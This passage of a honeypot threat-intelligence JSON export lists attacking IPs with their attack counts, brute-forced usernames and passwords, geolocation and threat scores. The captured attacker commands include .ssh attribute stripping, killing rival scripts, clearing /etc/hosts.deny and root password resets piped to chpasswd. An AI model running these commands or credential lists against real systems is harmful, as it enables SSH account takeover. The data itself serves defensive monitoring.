        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T11:01:54.529000+00:00",
        "last_seen_30d": "2026-03-21T11:33:44.026000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 255,
        "Suricata": 38
      }
    },
    "87.120.216.38": {
      "attack_count": 241,
      "first_seen": "2026-03-29T16:34:38.977Z",
      "last_seen": "2026-03-29T17:42:54.737Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz.",
        "0007",
        "ASDFGH",
        "Admin#2025",
        "Demo@123",
        "Jupiter2024",
        "Pa$$w0rD",
        "Passw0RD",
        "Q1w2e3q1w2e3",
        "Qazwsx123!@#",
        "Qq147258",
        "admin@1234",
        "caonimabi",
        "cybernet",
        "fabiana",
        "fjbdfdjkdsfs541544@@",
        "hello123",
        "honey"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CZhlLgni2dpQ\"|chpasswd|bash",
        "echo \"root:pCJtEqtXoklZ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213887,
      "as_org": "WAIcore Ltd",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:34:38.977000+00:00",
        "last_seen_30d": "2026-03-29T17:43:59.082000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 61
      }
    },
    "217.76.61.130": {
      "attack_count": 193,
      "first_seen": "2026-03-16T00:54:18.068Z",
      "last_seen": "2026-03-16T01:19:18.411Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "bkp",
        "345gs5662d34",
        "kapsch",
        "gm",
        "linux",
        "monitor",
        "newusername",
        "nodejs",
        "root",
        "squid",
        "ssl"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Kapsch123!",
        "Linux123!",
        "bkppass",
        "dodol123",
        "monitor@2025",
        "newusername",
        "nodejs123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Kapsch123!\\nQ9iXhD9VHWLW\\nQ9iXhD9VHWLW\\n\"|passwd",
        "echo \"bkppass\\nIfAJ8dbDezGt\\nIfAJ8dbDezGt\\n\"|passwd",
        "echo -e \"Kapsch123!\\nQ9iXhD9VHWLW\\nQ9iXhD9VHWLW\"|passwd|bash",
        "echo -e \"bkppass\\nIfAJ8dbDezGt\\nIfAJ8dbDezGt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:54:18.068000+00:00",
        "last_seen_30d": "2026-03-16T01:20:21.605000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "81.9.131.168": {
      "attack_count": 192,
      "first_seen": "2026-03-02T23:41:41.661Z",
      "last_seen": "2026-03-03T00:30:10.429Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613",
        "3245gs5662d34",
        "345gs5662d34",
        "123Password",
        "Huayun@123",
        "Ma123456",
        "Ww123456!",
        "a123456!",
        "f",
        "idontknow",
        "qazwsx@123",
        "root@@",
        "test123."
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Galdakao",
      "asn": 12338,
      "as_org": "Euskaltel S.A.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:41:41.661000+00:00",
        "last_seen_30d": "2026-03-03T00:31:19.041000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 72
      }
    },
    "158.69.207.90": {
      "attack_count": 186,
      "first_seen": "2026-03-03T22:14:25.032Z",
      "last_seen": "2026-03-03T22:37:14.464Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Welcome123",
        "Zxc12345",
        "a1123",
        "asdfgh",
        "baidu123",
        "root!@#$1234",
        "root2023",
        "sunshine",
        "tester",
        "yang@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZV48B6FYYkxE\"|chpasswd|bash",
        "echo \"root:gWPLTPljS6cc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:14:25.032000+00:00",
        "last_seen_30d": "2026-03-03T22:38:19.719000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "72.79.42.117": {
      "attack_count": 168,
      "first_seen": "2026-03-29T03:15:36.177Z",
      "last_seen": "2026-03-29T04:16:32.246Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456789#",
        "1qazxsw2#$",
        "20240251",
        "3245gs5662d34",
        "345gs5662d34",
        "Hl123456@",
        "P@ss@1234",
        "f123456",
        "ggmmhmf800!@#",
        "guigui123",
        "h123",
        "microhard",
        "newpass1",
        "nx123456",
        "oracle12345",
        "qazxswedc",
        "qwerasdfzxcv!@#$",
        "qwertyuiop123456",
        "ramirez",
        "servidor123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:XSm4rYgV6VJ5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Springfield",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T03:15:36.177000+00:00",
        "last_seen_30d": "2026-03-29T04:17:39.109000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "134.209.178.119": {
      "attack_count": 137,
      "first_seen": "2026-03-05T20:58:59.657Z",
      "last_seen": "2026-03-05T21:20:06.208Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "!root",
        "12345",
        "123456789",
        "P@ssw0rd",
        "Root123",
        "admin123",
        "alpine",
        "changeme",
        "default",
        "letmein",
        "passw0rd",
        "qwerty",
        "r00t",
        "root",
        "root123",
        "root@123",
        "rootme"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:58:59.657000+00:00",
        "last_seen_30d": "2026-03-05T21:21:12.193000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 137,
        "Suricata": 60
      }
    },
    "103.186.0.63": {
      "attack_count": 124,
      "first_seen": "2026-03-10T23:23:44.712Z",
      "last_seen": "2026-03-10T23:49:01.792Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "sky",
        "345gs5662d34",
        "azureuser",
        "clawd",
        "root",
        "site2030",
        "tmp",
        "umar",
        "vagrant",
        "webappuser",
        "webmin",
        "ys"
      ],
      "passwords_attempted": [
        "123",
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "Umar123!",
        "Webappuser123!",
        "Webmin123!",
        "azureuser",
        "password",
        "qwe123@",
        "skypass",
        "yspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"skypass\\nuO7T120pSHfe\\nuO7T120pSHfe\\n\"|passwd",
        "echo -e \"skypass\\nuO7T120pSHfe\\nuO7T120pSHfe\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:23:44.712000+00:00",
        "last_seen_30d": "2026-03-10T23:50:06.312000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "8.243.64.226": {
      "attack_count": 124,
      "first_seen": "2026-03-10T07:34:06.856Z",
      "last_seen": "2026-03-10T07:56:43.941Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "clawd",
        "345gs5662d34",
        "comunicacao",
        "khalil",
        "melo",
        "prashant",
        "ttx",
        "vnc",
        "wpuser"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa778899",
        "Melo123!",
        "Prashant123",
        "clawd",
        "comunicacao",
        "linux",
        "password",
        "wpuser123",
        "zy@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"clawd\\nAM7PWgsot4xN\\nAM7PWgsot4xN\\n\"|passwd",
        "echo -e \"clawd\\nAM7PWgsot4xN\\nAM7PWgsot4xN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:34:06.856000+00:00",
        "last_seen_30d": "2026-03-10T07:57:48.072000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "179.57.170.71": {
      "attack_count": 119,
      "first_seen": "2026-03-23T21:36:39.740Z",
      "last_seen": "2026-03-23T22:01:36.879Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "prova",
        "345gs5662d34",
        "admin1234",
        "centos7",
        "cody",
        "dis",
        "jellyfin",
        "odm",
        "radarr",
        "root",
        "webftp"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "12345678",
        "1q2w3e4r5t!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Centos7123!",
        "admin12341234",
        "dispass",
        "password",
        "webftp1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\n5rwaVbV1ZMAJ\\n5rwaVbV1ZMAJ\\n\"|passwd",
        "echo -e \"12345678\\n5rwaVbV1ZMAJ\\n5rwaVbV1ZMAJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Coronel",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T21:36:39.740000+00:00",
        "last_seen_30d": "2026-03-23T22:02:44.252000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "163.44.112.167": {
      "attack_count": 118,
      "first_seen": "2026-03-03T09:09:13.110Z",
      "last_seen": "2026-03-03T09:35:21.474Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qazQAZ",
        "1q@W3e$R5t^Y",
        "3245gs5662d34",
        "345gs5662d34",
        "Dev@123",
        "P@ssw0rd.com",
        "Pa$$word",
        "Sc123456",
        "Xq123456.",
        "anonymous",
        "blockchain",
        "qweQWE1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8YwIrUWmMbHO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:09:13.110000+00:00",
        "last_seen_30d": "2026-03-03T09:36:28.188000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "188.166.169.193": {
      "attack_count": 100,
      "first_seen": "2026-03-15T11:03:04.572Z",
      "last_seen": "2026-03-15T11:24:06.304Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234567890",
        "123abc",
        "1q2w3e4r",
        "admin123",
        "pass123",
        "password1",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T11:03:04.572000+00:00",
        "last_seen_30d": "2026-03-15T11:25:13.266000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 43
      }
    },
    "157.230.88.187": {
      "attack_count": 99,
      "first_seen": "2026-03-09T15:39:25.140Z",
      "last_seen": "2026-03-09T15:54:28.999Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "admin",
        "docker",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "root123",
        "toor",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:39:25.140000+00:00",
        "last_seen_30d": "2026-03-09T15:55:29.311000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 32
      }
    },
    "185.40.30.168": {
      "attack_count": 94,
      "first_seen": "2026-03-26T01:02:41.497Z",
      "last_seen": "2026-03-26T01:10:29.368Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "piuser",
        "345gs5662d34",
        "almacen",
        "live",
        "root",
        "taibabi"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Salam@123",
        "taibabipass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\n4GCVRJhuwTSo\\n4GCVRJhuwTSo\\n\"|passwd",
        "echo -e \"123\\n4GCVRJhuwTSo\\n4GCVRJhuwTSo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 61400,
      "as_org": "Start2 LLC",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T01:02:41.497000+00:00",
        "last_seen_30d": "2026-03-26T01:11:39.216000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "116.110.212.67": {
      "attack_count": 87,
      "first_seen": "2026-03-30T13:33:02.347Z",
      "last_seen": "2026-03-30T13:41:14.891Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "*****",
        "admin",
        "linaro",
        "monitor",
        "mysql",
        "opc",
        "pizza",
        "public",
        "uucp",
        "walter",
        "webadmin"
      ],
      "passwords_attempted": [
        "*****",
        "111111",
        "123456",
        "1234567890%*()",
        "P@ssw0rd",
        "bananapi",
        "linaro",
        "mysql",
        "opc",
        "pfsense",
        "pizza",
        "public",
        "qwe123",
        "uucp",
        "vertex25",
        "walter",
        "webadmin"
      ],
      "commands_executed": [],
      "event_types": [
